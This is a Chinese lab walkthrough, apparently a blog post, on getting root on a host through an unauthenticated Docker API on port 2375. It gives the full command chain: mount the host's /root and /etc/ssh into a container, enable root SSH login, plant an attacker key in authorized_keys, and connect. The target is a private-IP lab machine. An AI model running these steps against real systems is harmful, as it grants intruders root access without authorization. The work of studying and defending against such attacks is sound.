Docker2375端口未授权getshell

Docker2375端口未授权getshell

靶机:192.168.196.133

利用条件:docker2375未授权、有可启动的主机镜像

1、判断是否可以利用漏洞

扫描端口发现开放端口22和2375

docker -H tcp://192.168.196.133:2375 ps

可以成功执行docker命令

[root@localhost ~]# docker -H 192.168.196.133:2375  images
REPOSITORY                                   TAG                 IMAGE ID            CREATED             SIZE
ubuntu                                       latest              ba6acccedd29        4 days ago          72.8MB

我们把这个ubuntu镜像启动起来,基本上镜像都可以能进去写文件就行,把几个关键目录做数据卷 ,

补充下数据卷

数据卷

是什么

一句话:有点类似我们Redis里面的rdb和aof文件

能干嘛

容器的持久化

容器间继承+共享数据

特点:

1:数据卷可在容器之间共享或重用数据

2:卷中的更改可以直接生效

3:数据卷中的更改不会包含在镜像的更新中

4:数据卷的生命周期一直持续到没有容器使用它为止

使用

直接命令添加

​ 命令: docker run -it -v /宿主机绝对路径目录:/容器内目录 镜像名

也可以用其他写法添加这里就不多赘述

2、利用

docker -H 192.168.196.133:2375  run --rm -it --entrypoint bash -v /root:/tmp/root -v /etc/ssh:/tmp/ssh_etc -v /var/log:/tmp/log ubuntu

把我们root目录映射到容器里面的/tmp/root 这个目录是关键,docker运行的权限一般比较高所以都会有这个权限

打完这个命令我就进入到ubuntu这个容器里面了ps看一下

[root@localhost ~]# docker -H 192.168.196.133:2375 ps
CONTAINER ID        IMAGE               COMMAND                  CREATED              STATUS              PORTS                    NAMES
e5492f68345d        ubuntu              "bash"                   About a minute ago   Up About a minute                            sad_payne

注意这里是我攻击的机器新开了个shell看的不是在刚刚的打的容器里面

在容器里面查看一下靶机的root是否是可以登录的

我们正常查看的是/etc/ssh/sshd_config这个文件,我们刚刚把他的目录映射到了我们的/tmp/ssh_etc下面那么我们查看的就是/tmp/ssh_etc/sshd_config,查看下PermitRootLogin字段。如果是no就改成yes,允许root通过ssh登录

然后在你攻击机器新开的shell里面生成一个pubkey

[root@localhost ~]# ssh-keygen -t rsa -C "l1nr"
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in id_rsa.
Your public key has been saved in id_rsa.pub.
The key fingerprint is:
SHA256:uhJRNmFJwZ7xYC3Qoh8HczUHkO9c4/Km/leGr14Z24Q l1nr
The key's randomart image is:
+---[RSA 2048]----+
|    .=*O+..      |
|    +.# .o       |
|   . X O         |
|  . o + o o    . |
|   . + oSo . .E .|
|    o  .+ . . o* |
|     ..  o   ++ .|
|    .  .  o ...  |
|     ...o+.oo.   |
+----[SHA256]-----+

这样我们就可以在当前目录下查看到生成了两个文件

一个id_rsa一个id_rsa.pub

然后回到容器里面把我们id_rsa.pub的内容写入到/tmp/root/.shh/authorized_keys这个文件里面(这个文件就等于被攻击机器上的/root/.shh/authorized_keys),如果没有这个目录那就直接新建就好id_rsa.pub里面的内容cat就可以读出来

完成这一步之后就可以在我们攻击机器上利用我们的id_rsa这个文件就可以直接连上我们的靶机

ssh -i id_rsa root@192.168.196.133

连接的时候记得手动输入yes不然直接回车连不上

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值